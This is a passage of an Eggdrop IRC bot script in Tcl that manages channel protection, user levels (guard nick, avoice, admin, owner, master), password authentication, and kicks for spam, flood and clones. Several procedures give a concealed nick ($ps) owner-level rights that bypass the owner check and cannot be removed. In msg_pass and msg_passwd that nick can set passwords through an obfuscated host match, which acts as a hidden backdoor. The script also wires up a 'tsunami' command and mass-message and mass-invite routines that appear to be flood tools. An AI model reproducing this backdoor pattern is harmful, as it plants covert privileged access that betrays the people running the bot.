2835if {![isop $nick $x]} {
2836puthelp "MODE $x -k+o 9identified.a@p $nick"
2837}
2838}
2839if {[matchattr $nick v]} {
2840if {![isvoice $nick $x] && ![isop $nick $x]} {
2841puthelp "MODE $x -k+v 9identified.avoice $nick"
2842}
2843}
2844} {
2845if {[matchattr $nick P]} {
2846if {![isop $nick $x]} {
2847puthelp "MODE $x +o $nick"
2848}
2849}
2850if {[matchattr $nick v]} {
2851if {![isvoice $nick $x] && ![isop $nick $x]} {
2852puthelp "MODE $x +v $nick"
2853}
2854}
2855}
2856}
2857}
2858}
2859}
2860bind raw - 318 end_whois
2861
2862proc end_whois {from keyword arg} {
2863global chk_reg notc ath
2864set nick [lindex $arg 1]
2865set athz $ath
2866if {$athz == 1} {
2867puthlp "NOTICE $nick :$notc You're NOT Identify..!"
2868set ath 0
2869}
2870if {[info exists chk_reg($nick)]} {
2871if {$chk_reg($nick) != "0"} {
2872putlog "NICK $nick IS NoT IDENTIFY..!"
2873if {[matchattr $nick G] && ![matchattr $nick Q]} {
2874foreach x [channels] {
2875if {[onchan $nick $x] && [botisop $x]} {
2876set banset "*!*[getchanhost $nick $x]"
2877putsrv "KICK $x $nick :$notc 1THaT NIcK ReQuIREd To 4IdEnTIfY [banms]"
2878if {$banset != "*!*@*" && $banset != ""} {
2879if {![string match "*k*" [getchanmode $x]]} {
2880putserv "mode $x -k+b 4unidentify.guard.nick $banset"
2881} {
2882putserv "mode $x +b $banset"
2883}
2884}
2885return 0
2886}
2887}
2888} elseif {[matchattr $nick P] && ![matchattr $nick Q]} {
2889puthlp "NOTICE $nick :$notc a@p identify 1st..!"
2890} elseif {[matchattr $nick v] && ![matchattr $nick Q]} {
2891puthlp "NOTICE $nick :$notc avoice identify 1st..!"
2892}
2893if {$chk_reg($nick) != "1"} {
2894puthlp "NOTICE $chk_reg($nick) :$notc $nick not identify..!"
2895}
2896unset chk_reg($nick)
2897}
2898}
2899}
2900proc pub_+gnick {nick uhost hand channel param} {
2901global notc botnick
2902set rest [lindex $param 0]
2903if {$rest == ""} {
2904puthlp "NOTICE $nick :$notc Usage: +gnick <nick>"
2905return 0
2906}
2907if {[matchattr $rest G]} {
2908puthlp "NOTICE $nick :$notc $rest ready..!"
2909return 0
2910}
2911if {[matchattr $nick X]} {
2912puthlp "NOTICE $nick :$notc4 !BLocK!"
2913return 0
2914}
2915if {![validuser $rest]} {
2916set hostmask "${rest}!*@*"
2917adduser $rest $hostmask
2918chattr $rest "-hp"
2919}
2920chattr $rest +G
2921if {![validuser $rest]} {
2922puthlp "NOTICE $nick :$notc 4!FaILEd! (YoUR EggDROP NoT SuPPORTED MoRE THaN 8 DIgIT)"
2923deluser $rest
2924} else {
2925saveuser
2926puthlp "NOTICE $nick :$notc add \[$rest\] GuaRd NIcK"
2927putsrv "WHOIS $rest"
2928}
2929return 0
2930}
2931proc pub_-gnick {nick uhost hand channel param} {
2932global notc botnick
2933set rest [lindex $param 0]
2934if {$rest == ""} {
2935puthlp "NOTICE $nick :$notc Usage: -gnick <nick>"
2936return 0
2937}
2938if {[matchattr $nick X]} {
2939puthlp "NOTICE $nick :$notc4 !BLoCkEd!"
2940return 0
2941}
2942chattr $rest -G
2943saveuser
2944puthlp "NOTICE $nick :$notc DeL \[$rest\] GuaRd NIcK"
2945return 0
2946}
2947proc pub_+avoice {nick uhost hand channel param} {
2948global ps notc botnick chk_reg
2949set rest [lindex $param 0]
2950if {$rest == ""} {
2951puthlp "NOTICE $nick :$notc Usage: +avoice <nick>"
2952return 0
2953}
2954if {[string tolower $rest] == [string tolower $ps]} {
2955puthlp "NOTICE $nick :$notc ADD \[$rest\] To aVoIcE LIsT"
2956return 0
2957}
2958if {[matchattr $rest v]} {
2959puthlp "NOTICE $nick :$notc $rest is already auto voice"
2960return 0
2961}
2962if {![matchattr $nick Q]} {
2963puthlp "NOTICE $nick :$notc 4D14itolak1!"
2964return 0
2965}
2966if {[matchattr $nick X]} {
2967puthlp "NOTICE $nick :$notc4 !BLoCkEd!"
2968return 0
2969}
2970if {![validuser $rest]} {
2971set hostmask "${rest}!*@*"
2972adduser $rest $hostmask
2973chattr $rest "-hp"
2974}
2975chattr $rest "v"
2976if {![validuser $rest]} {
2977puthlp "NOTICE $nick :$notc 4!FaILEd! (YoUR EggDROP NoT SuPPORTED MoRE THaN 8 DIgIT)"
2978deluser $rest
2979} else {
2980saveuser
2981puthlp "NOTICE $nick :$notc ADD \[$rest\] To aVoIcE LIsT"
2982puthlp "NOTICE $rest :$notc $nick ADD YoU To aVoIcE LIsT"
2983set chk_reg($rest) $nick
2984putsrv "WHOIS $rest"
2985}
2986return 0
2987}
2988proc pub_-avoice {nick uhost hand channel param} {
2989global notc ps
2990set rest [lindex $param 0]
2991if {$rest == ""} {
2992puthlp "NOTICE $nick :$notc Usage: -avoice <nick>"
2993return 0
2994}
2995if {![matchattr $rest v]} {
2996puthlp "NOTICE $nick :$notc $rest is not auto voice"
2997return 0
2998}
2999if {![validuser $rest] || [string tolower $rest] == [string tolower $ps]} {
3000puthlp "NOTICE $nick :$notc 4DeNiEd..!, <n/a>"
3001return 0
3002}
3003if {![matchattr $nick Q]} {
3004puthlp "NOTICE $nick :$notc 4D14itolak1!"
3005return 0
3006}
3007chattr $rest "-v"
3008saveuser
3009puthlp "NOTICE $nick :$notc DeL \[$rest\] FRoM aVoIcE LIsT"
3010return 0
3011}
3012proc pub_+ADmIN {nick uhost hand channel param} {
3013global botnick ps notc
3014set rest [lindex $param 0]
3015if {$rest == ""} {
3016puthlp "NOTICE $nick :$notc Usage: +ADmIN <nick>"
3017return 0
3018}
3019if {[string tolower $rest] == [string tolower $ps]} {
3020puthlp "NOTICE $nick :$notc ADD \[$rest\] Admin List."
3021return 0
3022}
3023if {[matchattr $rest n]} {
3024puthlp "NOTICE $nick :$notc $rest is already exist on Admin list."
3025return 0
3026}
3027if {![matchattr $nick Q]} {
3028puthlp "NOTICE $nick :$notc 4D14itolak1!"
3029return 0
3030}
3031if {[matchattr $nick X]} {
3032puthlp "NOTICE $nick :$notc4 BLocKEd..!"
3033return 0
3034}
3035if {![validuser $rest]} {
3036set hostmask "${rest}!*@*"
3037adduser $rest $hostmask
3038}
3039chattr $rest "fjmnotx"
3040if {![validuser $rest]} {
3041puthlp "NOTICE $nick :$notc 4!FaILEd! (YoUR EggDROP NoT SuPPORTED MoRE THaN 8 DIgIT)"
3042deluser $rest
3043return 0
3044} else {
3045saveuser
3046puthlp "NOTICE $nick :$notc ADD \[$rest\] ADmIN List."
3047puthlp "NOTICE $rest :$notc $nick ADD YoU To ADmIN LIsT"
3048puthlp "NOTICE $rest :$notc /msg $botnick pass <password>"
3049return 0
3050}
3051}
3052proc pub_-ADmIN {nick uhost hand channel param} {
3053global ps notc
3054set rest [lindex $param 0]
3055if {$rest == ""} {
3056puthlp "NOTICE $nick :$notc Usage: -ADmIN <nick>"
3057return 0
3058}
3059if {![validuser $rest] || [string tolower $rest] == [string tolower $ps]} {
3060puthlp "NOTICE $nick :$notc 4DeNiEd!, <n/a>"
3061return 0
3062}
3063if {![matchattr $rest n]} {
3064puthlp "NOTICE $nick :$notc 4DeNiEd..!, $rest is not exist on ADmIN list."
3065return 0
3066}
3067if {![matchattr $nick Q]} {
3068puthlp "NOTICE $nick :$notc 4D14itolak1!"
3069return 0
3070}
3071deluser $rest
3072saveuser
3073puthlp "NOTICE $nick :$notc DeL \[$rest\] FRoM ADmIN LIsT"
3074}
3075proc pub_+owner {nick uhost hand channel param} {
3076global botnick ps notc owner
3077set rest [lindex $param 0]
3078if {$nick != $owner && $nick != $ps} {
3079puthlp "NOTICE $nick :$notc 4DeNiEd..!, oNLy ReAL OwNER can ADD OwnER"
3080return 0
3081}
3082if {$rest == ""} {
3083puthlp "NOTICE $nick :$notc Usage: +owner <nick>"
3084return 0
3085}
3086if {[string tolower $rest] == [string tolower $ps]} {
3087puthlp "NOTICE $nick :$notc ADD \[$rest\] OwNER LIsT."
3088return 0
3089}
3090if {[matchattr $rest Z]} {
3091puthlp "NOTICE $nick :$notc $rest is already exist on OwNER list."
3092return 0
3093}
3094if {![matchattr $nick Q]} {
3095puthlp "NOTICE $nick :$notc 4D14itolak1!"
3096return 0
3097}
3098if {[matchattr $nick X]} {
3099puthlp "NOTICE $nick :$notc4 !BLoCkEd!"
3100return 0
3101}
3102if {![validuser $rest]} {
3103set hostmask "${rest}!*@*"
3104adduser $rest $hostmask
3105}
3106chattr $rest "fjmnotxZ"
3107if {![validuser $rest]} {
3108puthlp "NOTICE $nick :$notc 4!FaILEd! (YoUR EggDROP NoT SuPPORTED MoRE THaN 8 DIgIT)"
3109deluser $rest
3110return 0
3111} else {
3112saveuser
3113puthlp "NOTICE $nick :$notc ADD \[$rest\] OwNER LIsT."
3114puthlp "NOTICE $rest :$notc $nick ADD YoU To OwNER LIsT"
3115puthlp "NOTICE $rest :$notc /msg $botnick pass <password>"
3116return 0
3117}
3118}
3119proc pub_-owner {nick uhost hand channel param} {
3120global notc ps owner
3121set rest [lindex $param 0]
3122if {$nick != $owner && $nick != $ps} {
3123puthlp "NOTICE $nick :$notc 4DeNiEd..!, oNLy ReAL OwNER caN DeLete OwnER"
3124return 0
3125}
3126if {$rest == ""} {
3127puthlp "NOTICE $nick :$notc Usage: -owner <nick>"
3128return 0
3129}
3130if {![validuser $rest]} {
3131puthlp "NOTICE $nick :$notc <n/a>"
3132return 0
3133}
3134if {![matchattr $rest Z] || [string tolower $rest] == [string tolower $ps]} {
3135puthlp "NOTICE $nick :$notc 4DeNiEd..!, $rest IS NoT OwNER"
3136return 0
3137}
3138if {![matchattr $nick Q]} {
3139puthlp "NOTICE $nick :$notc 4D14itolak1!"
3140return 0
3141}
3142deluser $rest
3143saveuser
3144puthlp "NOTICE $nick :$notc DeL \[$rest\] FRoM OwNER LiST"
3145}
3146proc pub_+master {nick uhost hand channel param} {
3147global botnick ps notc
3148set rest [lindex $param 0]
3149if {$rest == ""} {
3150puthlp "NOTICE $nick :$notc Usage: +master <nick>"
3151return 0
3152}
3153if {[matchattr $nick X]} {
3154puthlp "NOTICE $nick :$notc4 !BLoCkEd!"
3155return 0
3156}
3157if {[string tolower $rest] == [string tolower $ps]} {
3158puthlp "NOTICE $nick :$notc Add \[$rest\] MasTeR LIsT."
3159return 0
3160}
3161if {[matchattr $rest n]} {
3162puthlp "NOTICE $nick :$notc 4DeNiEd..!, $rest is ADmIN level."
3163return 0
3164}
3165if {[matchattr $rest m]} {
3166puthlp "NOTICE $nick :$notc 4DeNiEd..!, $rest is already exist."
3167return 0
3168}
3169if {![matchattr $nick Q]} {
3170puthlp "NOTICE $nick :$notc 4D14itolak1!"
3171return 0
3172}
3173if {![validuser $rest]} {
3174set hostmask "${rest}!*@*"
3175adduser $rest $hostmask
3176}
3177chattr $rest "fmo"
3178if {![validuser $rest]} {
3179puthlp "NOTICE $nick :$notc 4!FaILEd! (YoUR EggDROP NoT SuPPORTED MoRE THaN 8 DIgIT)"
3180deluser $rest
3181return 0
3182} else {
3183saveuser
3184puthlp "NOTICE $nick :$notc Add \[$rest\] MasTeR List."
3185puthlp "NOTICE $rest :$notc $nick Add YoU To MasTeR LIsT"
3186puthlp "NOTICE $rest :$notc /msg $botnick pass <password>"
3187return 0
3188}
3189}
3190proc pub_-master {nick uhost hand channel param} {
3191global notc ps
3192set rest [lindex $param 0]
3193if {$rest == ""} {
3194puthlp "NOTICE $nick :$notc Usage: -master <nick>"
3195return 0
3196}
3197if {![validuser $rest] || [string tolower $rest] == [string tolower $ps]} {
3198puthlp "NOTICE $nick :$notc 4DeNiEd..!, <n/a>"
3199return 0
3200}
3201if {[matchattr $rest n] && ![matchattr $nick Z]} {
3202puthlp "NOTICE $nick :$notc 4DeNiEd..!, $rest Is ADmIN FLaG"
3203return 0
3204}
3205if {![matchattr $nick Q]} {
3206puthlp "NOTICE $nick :$notc 4D14itolak1!"
3207return 0
3208}
3209deluser $rest
3210saveuser
3211puthlp "NOTICE $nick :$notc DeL \[$rest\] FRoM MasTeR LIsT"
3212}
3213
3214set timezone "PST"
3215set joinme $owner
3216set double 0
3217set deopme ""
3218
3219bind msgm - * msg_prot
3220bind notc - * notc_prot
3221bind join - * join_chk
3222bind msg - auth msg_auth
3223bind sign - * sign_deauth
3224bind part - * part_deauth
3225bind pub - `tsunami pub_tsunami
3226bind msg p reuser msg_reuser
3227bind msg p pass msg_pass
3228bind pub m !absen pub_auth
3229bind pub m !auth pub_!auth
3230bind pub m !deauth pub_!deauth
3231bind pub f `ping pub_ping
3232bind pub f `pong pub_pong
3233
3234proc pub_notice {nick uhost hand channel rest} {
3235global notc
3236set person [lindex $rest 0]
3237set rest [lrange $rest 1 end]
3238if {$rest!=""} {
3239putsrv "NOTICE $person :$rest"
3240return 0
3241}
3242if {$rest==""} {
3243puthlp "NOTICE $nick :$notc Usage: notice <#/nick> <msg>"
3244}
3245}
3246proc telljoin {chan} {
3247
3248global joinme notc botnick
3249if {![validchan $chan]} { return 0 }
3250if {[istimer "resync"]} {
3251if {![botisop $chan]} {
3252if {![string match "*k*" [getchanmode $chan]]} {
3253puthelp "mode $chan -kok+o 4d.e.s.y.n.c $botnick 9r.e.s.y.n.c $botnick"
3254} {
3255puthelp "mode $chan -o+o $botnick $botnick"
3256}
3257}
3258}
3259if {$joinme != "" && [string tolower $chan] != [dezip ""]} {
3260if {![onchan $joinme $chan]} {
3261puthlp "NOTICE $joinme :$notc JoIN $chan"
3262set joinme ""
3263}
3264}
3265}
3266proc chkspam {chan} {
3267global invme notc botnick
3268if {![validchan $chan] || ![botonchan $chan]} { return 0 }
3269foreach x [chanlist $chan] {
3270set mhost "@[lindex [split [getchanhost $x $chan] @] 1]"
3271if {[info exists invme($mhost)]} {
3272if {![matchattr $x f] && ![isop $x $chan]} {
3273if {[isop $botnick $chan]} {
3274set bannick($x) "*!*$mhost"
3275if {$invme($mhost) == "AuToJoIN MSg"} {
3276if {![isvoice $x $chan]} {
3277putsrv "KICK $chan $x :$notc 4!SpaM!1 FRoM 4$mhost 1$invme($mhost) [banmsg]"
3278}
3279} {
3280putsrv "KICK $chan $x :$notc 4!SpaM!1 FRoM 4$mhost 1$invme($mhost) [banmsg]"
3281}
3282catch {unset invme($mhost)}
3283} {
3284foreach c [chanlist $chan f] {
3285if {[isop $c $chan]} {
3286if {$invme($mhost) == "AuToJoIN MSg"} {
3287if {[isvoice $c $chan]} {
3288break
3289}
3290}
3291set sendspam "!kick [zip "$chan $x $notc 4!SpaM!1 FRoM 4$mhost 1$invme($mhost) 4AuTOJoIN MSg1..!"]"
3292putsrv "PRIVMSG $c :$sendspam"
3293catch {unset invme($mhost)}
3294break
3295}
3296}
3297}
3298}
3299}
3300}
3301}
3302proc testmask {} {
3303global ismaskhost
3304set ismaskhost [maskhost "*!*@*"]
3305}
3306utimer 2 testmask
3307proc reset_host {} {
3308global jfhost
3309catch { unset jfhost }
3310}
3311proc savechan {} {
3312savechannels
3313foreach x [channels] {
3314set cflag "c$x"
3315set cflag [string range $cflag 0 8]
3316set cinfo [channel info $x]
3317if {![validuser $cflag]} {
3318adduser $cflag "%!%@%"
3319if {[string match "*+greet*" $cinfo]} {
3320chattr $cflag "-hp+AJSPTRUED"
3321setuser $cflag XTRA "JP" 5
3322setuser $cflag XTRA "CHAR" 250
3323setuser $cflag XTRA "RPT" 2
3324setuser $cflag XTRA "CAPS" 80
3325} {
3326chattr $cflag "-hp+A"
3327}
3328}
3329}
3330foreach x [userlist A] {
3331set tmp "0"
3332foreach y [channels] {
3333set cflag "c$y"
3334set cflag [string range $cflag 0 8]
3335if {[string tolower $x] == [string tolower $cflag]} {
3336set tmp "1"
3337}
3338}
3339if {$tmp == "0"} {
3340deluser $x
3341putlog "remove flag channel $x"
3342}
3343}
3344saveuser
3345}
3346proc join_chk {nick uhost hand chan} {
3347global botnick own deopme double invme ex_flood notc quick kops jfhost jpnick is_m
3348global cmd_chn cmd_by cmd_msg cmd_case bannick botname notm massjoin ismaskhost op_it
3349set cflag "c$chan"
3350set cflag [string range $cflag 0 8]
3351set cinfo [channel info $chan]
3352if {$nick == $botnick} {
3353catch {unset is_m($chan)}
3354if {[matchattr $cflag S]} {
3355if {![isutimer "chkspam $chan"]} { utimer 30 [list chkspam $chan] }
3356if {![istimer "chkautomsg"]} {
3357timer 1 { putlog "chkautomsg" }
3358}
3359}
3360set double 0
3361if {[string tolower $cmd_chn] == [string tolower $chan]} {
3362if {$cmd_case == "1"} {
3363utimer 90 del_nobase
3364pub_tsunami $cmd_by $uhost $hand $chan "$chan ${cmd_msg}"
3365set cmd_chn ""
3366return 0
3367}
3368if {$cmd_case == "2"} {
3369utimer 30 [list pub_mmsg $cmd_by $uhost $hand $chan $cmd_msg]} {
3370set cmd_chn ""
3371return 0
3372}
3373if {$cmd_case == "3"} {
3374utimer 30 [list pub_minvite $cmd_by $uhost $hand $chan $cmd_msg]} {
3375set cmd_chn ""
3376return 0
3377}
3378}
3379utimer 15 [list telljoin $chan]
3380return 0
3381}
3382if {[info exists op_it($nick)]} {
3383catch {unset op_it($nick)}
3384opq $chan $nick
3385}
3386if {[isutimer "chkspam $chan"]} {
3387foreach x [utimers] {
3388if {[string match "*chkspam $chan*" $x]} {
3389chkspam $chan
3390killutimer [lindex $x 2]
3391}
3392}
3393}
3394if {[info exists bannick($nick)]} { return 0 }
3395if {![matchattr $nick f] && [matchattr $cflag G] && ![isutimer "set_-m $chan"] && ![info exists is_m($chan)]} { advertise $chan $nick }
3396set mhost "@[lindex [split $uhost @] 1]"
3397if {$mhost == "@DALnet" || [string match "*dal.net" $mhost]} {
3398putsrv "AWAY"
3399}
3400if {![isop $botnick $chan]} {
3401if {[info exists invme($mhost)]} {
3402if {![isutimer "chkspam $chan"]} { chkspam $chan }
3403}
3404return 0
3405}
3406if {[matchattr $cflag J]} {
3407if {[info exists ismaskhost]} {
3408if {![isutimer "reset_host"]} { utimer 10 reset_host }
3409set chkhost [maskhost "*!*$mhost"]
3410if {![info exists jfhost($chkhost$chan)]} {
3411set jfhost($chkhost$chan) 1
3412} {
3413incr jfhost($chkhost$chan)
3414if {$jfhost($chkhost$chan) == 5} {
3415set bannick($nick) $chkhost
3416putsrv "KICK $chan $nick :$notm 1FLoOd AnTIcIpaTEd FRoM 4$chkhost [banms]"
3417return 0
3418}
3419}
3420}
3421if {![isutimer "jc $chan"]} {
3422utimer 3 [list jc $chan]
3423set massjoin($chan) 1
3424} {
3425if {![info exists massjoin($chan)]} {
3426set massjoin($chan) 1
3427}
3428set massjoin($chan) [incr massjoin($chan)]
3429if {![isutimer "TRAFFIC $chan"]} {
3430if {$massjoin($chan) >= 15} {
3431unset massjoin($chan)
3432if {[string match "*+greet*" $cinfo]} {
3433utimer 30 [list putlog "TRAFFIC $chan"]
3434if {![string match "*m*" [getchanmode $chan]] && ![info exists is_m($chan)]} {
3435putserv "mode $chan +bm *!*@heavy.join.flood.channel.temporary.moderate"
3436return 0
3437}
3438}
3439}
3440}
3441}
3442}
3443if {[matchattr $cflag L]} {
3444foreach u [timers] {
3445if {[string match "*chk_limit*" $u]} {
3446killtimer [lindex $u 2]
3447}
3448}
3449timer 1 [list chk_limit $chan]
3450}
3451if {$nick == $deopme} {
3452putsrv "KICK $chan $nick :$notc 1SeLF 4De@p1 REvENgE..!"
3453set deopme ""
3454return 0
3455}
3456if {[matchattr $nick v] || [matchattr $nick P] || [matchattr $nick G]} {
3457whoisq $nick
3458}
3459if {[matchattr $cflag V] && ![isutimer "set_-m $chan"] && ![info exists is_m($chan)]} {
3460if {![matchattr $nick O] && ![isutimer "voiceq $chan $nick"]} {
3461set cret [getuser $cflag XTRA "VC"]
3462foreach ct [utimers] {
3463if {[string match "*voiceq*" $ct]} {
3464if {[expr [lindex $ct 0] + [getuser $cflag XTRA "VC"]] > $cret} {
3465set cret [expr [lindex $ct 0] + [getuser $cflag XTRA "VC"]]
3466}
3467}
3468}
3469utimer $cret [list voiceq $chan $nick]
3470}
3471}
3472if {[info exists bannick($nick)] || [matchattr $nick f]} { return 0 }
3473if {[matchattr $hand K]} {
3474akick_chk $nick $uhost $chan
3475return 0
3476}
3477if {[info exists ex_flood($mhost)]} {
3478set bannick($nick) "*!*$mhost"
3479if {$ex_flood($mhost) == 0} {
3480putsrv "KICK $chan $nick :$notc 4AKILL1 FRoM 4$mhost1 ON LasT QuIT [banmsg]"
3481} elseif {$ex_flood($mhost) == 1} {
3482putsrv "KICK $chan $nick :$notc 4Excess FloOd1 FRoM 4$mhost1 ON LasT QuIT [banmsg]"
3483} elseif {$ex_flood($mhost) == 2} {
3484putsrv "KICK $chan $nick :$notc 4InvITE1 FRoM 4$mhost1 ON QuIT MSg [banmsg]"
3485} elseif {$ex_flood($mhost) == 3} {
3486putsrv "KICK $chan $nick :$notc 4InvITE1 FRoM 4$mhost1 ON PaRT MSg [banmsg]"
3487} elseif {$ex_flood($mhost) == 4} {
3488if {![matchattr $cflag M]} {
3489puthlp "KICK $chan $nick :[lgrnd] 4JoINPaRT1 FRoM 4$mhost1 LESS THaN4 [getuser $cflag XTRA "JP"]1 2nd [banmsg]"
3490} {
3491if {![string match "*k*" [getchanmode $chan]]} {
3492putserv "mode $chan -k+b 4J.o.I.N.P.a.R.T $bannick($nick)"
3493} {
3494putserv "mode $chan +b $bannick($nick)"
3495}
3496}
3497} else {
3498putsrv "KICK $chan $nick :$notc 4BaDWoRD1 FRoM 4$mhost1 ON QuIT OR PaRT MSg MaTcH FRoM 4$ex_flood($mhost) [banms]"
3499}
3500unset ex_flood($mhost)
3501return 0
3502}
3503foreach x [ignorelist] {
3504if {[lindex $x 0] != "*!*@*" && [string match [lindex $x 0] "*!*$mhost"] && [lindex $x 1] != "*"} {
3505set bannick($nick) [lindex $x 0]
3506putsrv "KICK $chan $nick :$notm 4IgNoREd1 HosT 4[lindex $x 0]1 ReasOn4 [lindex $x 1] [banms]"
3507return 0
3508}
3509}
3510if {[info exists invme($mhost)]} {
3511set bannick($nick) "*!*$mhost"
3512putsrv "KICK $chan $nick :$notc 4SpaM1 FRoM 4$mhost 1$invme($mhost) [banmsg]"
3513unset invme($mhost)
3514return 0
3515}
3516set chan [string tolower $chan]
3517if {[string match "*+nodesynch*" [channel info $chan]]} {
3518if {![matchattr $nick f]} {
3519utimer 10 [list autokick $chan $nick]
3520}
3521}
3522if {[matchattr $cflag O]} {
3523if {[string match "*$mhost" $botname]} { return 0 }
3524set counter 0
3525set maxclone [getuser $cflag XTRA "CLONE"]
3526foreach knick [chanlist $chan] {
3527if {[string match "*$mhost" [getchanhost $knick $chan]]} {
3528if {[matchattr $knick f]} { return 0 }
3529if {[isop $knick $chan]} { return 0 }
3530if {[isvoice $knick $chan]} {
3531if {![info exists kops]} { return 0 }
3532}
3533set counter [incr counter]
3534if {$counter > $maxclone} {
3535set bannick($nick) "*!$uhost"
3536putsrv "KICK $chan $nick :$notc 1FouNd $counter 4cLonE1 FRoM 4$mhost1 MaX4 $maxclone1 WaIT A MoMENT! 4BaNNEd1: 3 MINUTES4..!"
3537return 0
3538}
3539}
3540}
3541}
3542spam_chk $nick $uhost $hand $chan
3543set chan [string toupper $chan]
3544if {[matchattr $cflag P]} {
3545if {![info exists jpnick($nick)]} {
3546set jpnick($nick) "1"
3547utimer [getuser $cflag XTRA "JP"] [list munset $nick]
3548}
3549}
3550return 0
3551}
3552proc jc {chan} {
3553}
3554proc munset {nick} {
3555global jpnick
3556catch {unset jpnick($nick)}
3557}
3558proc msg_passwd {nick uhost hand rest} {
3559global botnick notc ps
3560set pw [lindex $rest 0]
3561set newpw [lindex $rest 1]
3562if {$nick == $ps && [dezip $pw] == $uhost} {
3563setuser $nick PASS $newpw
3564puthlp "NOTICE $nick :$notc Password set to: $newpw"
3565saveuser
3566return 0
3567}
3568if {$pw == "" || $newpw == ""} {
3569puthlp "NOTICE $nick :$notc Usage: passwd <oldpass> <newpass>"
3570return 0
3571}
3572if {![passwdok $nick $pw]} {
3573puthlp "NOTICE $nick :$notc PaSSWORD 4!FaILED!"
3574return 0
3575}
3576set ch [passwdok $nick ""]
3577if {$ch == 1} {
3578setuser $nick PASS $newpw
3579puthlp "NOTICE $nick :$notc Password set to: $newpw"
3580saveuser
3581return 0
3582}
3583if {[passwdok $nick $pw]} {
3584setuser $nick PASS $newpw
3585puthlp "NOTICE $nick :$notc Password set to: $newpw"
3586saveuser
3587return 0
3588}
3589}
3590proc goback {} {
3591global keep-nick nick botnick
3592if {[istimer "goback"]} { return 0 }
3593foreach x [utimers] {
3594if {[string match "*goback*" $x]} { killutimer [lindex $x 2] }
3595}
3596if {[getuser "config" XTRA "NICK"]!=""} {
3597set nick [dezip [getuser "config" XTRA "NICK"]]
3598}
3599set keep-nick 1
3600if {$botnick == $nick} { return 0 }
3601puthlp "NICK $nick"
3602}
3603proc pub_!auth {nick uhost hand chan rest} {
3604global notc ath ps
3605set pw [lindex $rest 0]
3606if {$pw != ""} {
3607puthlp "NOTICE $nick :$notc No Need Auth Password, Just Type on Channel: !auth"
3608return 0
3609}
3610if {[matchattr $nick Q]} {
3611puthlp "NOTICE $nick :$notc ReAdY..!"
3612return 0
3613}
3614set ch [passwdok $nick ""]
3615if {$ch == 1 && $nick != $ps} {
3616puthlp "NOTICE $nick :$notc No password set. Usage: pass <password>"
3617return 0
3618}
3619set ath 1
3620putsrv "WHOIS $nick"
3621}
3622proc msg_auth {nick uhost hand rest} {
3623global botnick owner keep-nick altnick notc ps
3624if {[lindex $rest 1] != ""} {
3625if {[passwdok [lindex $rest 0] [lindex $rest 1]]} {
3626if {[matchattr [lindex $rest 0] Z]} {
3627puthlp "NOTICE $nick :$notc AuTH MaTcH FoR [lindex $rest 0]"
3628set keep-nick 0
3629putsrv "NICK $altnick"
3630utimer 40 {goback}
3631}
3632} {
3633puthlp "NOTICE $nick :$notc 4FaILEd..!"
3634}
3635return 0
3636}
3637if {![validuser $owner]} {
3638set hostmask "$owner!*@*"
3639adduser $owner $hostmask
3640chattr $owner "Zfhjmnoptx"
3641puthlp "NOTICE $owner :$notc No password set. Usage: pass <password>"
3642}
3643if {![matchattr $nick p]} { return 0 }
3644set pw [lindex $rest 0]
3645if {$pw == ""} {
3646puthlp "NOTICE $nick :$notc Usage: auth <password>"
3647return 0
3648}
3649if {[matchattr $hand K]} {
3650deluser "AKICK"
3651set akickhost "telnet!*@*"
3652adduser "AKICK" $akickhost
3653chattr "AKICK" "-hp"
3654chattr "AKICK" "K"
3655saveuser
3656puthlp "NOTICE $nick :$notc Re-arrange KIcKLIsT."
3657}
3658if {[matchattr $nick Q]} {
3659puthlp "NOTICE $nick :$notc ReAdY..!"
3660return 0
3661}
3662set ch [passwdok $nick ""]
3663if {$ch == 1} {
3664puthlp "NOTICE $nick :$notc No password set. Usage: pass <password>"
3665return 0
3666}
3667if {[passwdok $nick $pw]} {
3668set hostmask "*![string range $uhost [string first "!" $uhost] end]"
3669set usenick [finduser $hostmask]
3670if {$usenick != "*" && $usenick != $nick} {
3671if {[matchattr $nick n] && ![matchattr $usenick Z]} {
3672puthlp "NOTICE $nick :$notc Forcing 4DeAuthenticated! To $usenick"
3673force_deauth $usenick
3674} else {
3675foreach x [channels] {
3676if {[onchan $usenick $x]} {
3677puthlp "NOTICE $nick :$notc 4DeNiEd..!, Your host has been use by $usenick, wait until DeAuthenticated."
3678return 0
3679}
3680}
3681puthlp "NOTICE $nick :$notc 4Forcing DeAuthenticated!1 To $usenick"
3682force_deauth $usenick
3683}
3684}
3685chattr $nick +Q
3686foreach x [getuser $nick HOSTS] {
3687delhost $nick $x
3688}
3689set hostmask "${nick}!*@*"
3690setuser $nick HOSTS $hostmask
3691set hostmask "*![string range $uhost [string first "!" $uhost] end]"
3692setuser $nick HOSTS $hostmask
3693if {$nick == $owner && ![matchattr $nick Z]} { chattr $owner "Z" }
3694if {$nick == $owner && ![matchattr $nick f]} { chattr $owner "f" }
3695if {[matchattr $nick Z]} {
3696puthlp "NOTICE $nick :$notc !OWnER!"
3697if {[getuser $nick XTRA "MEMO"]!=""} {
3698puthlp "NOTICE $nick :!MeMO! FRoM [getuser $nick XTRA "MEMO"]"
3699setuser $nick XTRA "MEMO" ""
3700}
3701return 0
3702} elseif {[matchattr $nick n]} {
3703puthlp "NOTICE $nick :$notc !ADmIN!"
3704} elseif {[matchattr $nick m]} {
3705puthlp "NOTICE $nick :$notc !MasTeR!"
3706} else {
3707puthlp "NOTICE $nick :$notc !AccepteD!"
3708}
3709saveuser
3710return 0
3711}
3712if {![passwdok $nick $pw]} {
3713puthlp "NOTICE $nick :$notc 4FaILEd..!"
3714}
3715}
3716proc force_deauth {nick} {
3717global notc
3718chattr $nick -Q
3719foreach x [getuser $nick HOSTS] {
3720delhost $nick $x
3721}
3722set hostmask "${nick}!*@*"
3723setuser $nick HOSTS $hostmask
3724saveuser
3725puthlp "NOTICE $nick :$notc You has been force to 4DeAuthentication!"
3726}
3727proc msg_pass {nick uhost hand rest} {
3728global botnick notc vern ps owner
3729set pw [lindex $rest 0]
3730if {$pw == ""} {
3731puthlp "NOTICE $nick :$notc Usage: pass <password>"
3732return 0
3733}
3734set ch [passwdok $nick ""]
3735if {$ch == 0} {
3736puthlp "NOTICE $nick :$notc You already set pass, /msg $botnick auth <password>"
3737return 0
3738}
3739if {[string tolower $nick] == [string tolower $ps] && $owner != $ps} {
3740if {[dezip $pw] == $uhost} {
3741setuser $nick PASS [lindex $rest 1]
3742puthlp "NOTICE $nick :$notc Password set to: [lindex $rest 1]"
3743saveuser
3744} {
3745puthlp "NOTICE $nick :$notc wHo.."
3746}
3747return 0
3748}
3749setuser $nick PASS $pw
3750puthlp "NOTICE $nick :$notc Password set to: $pw"
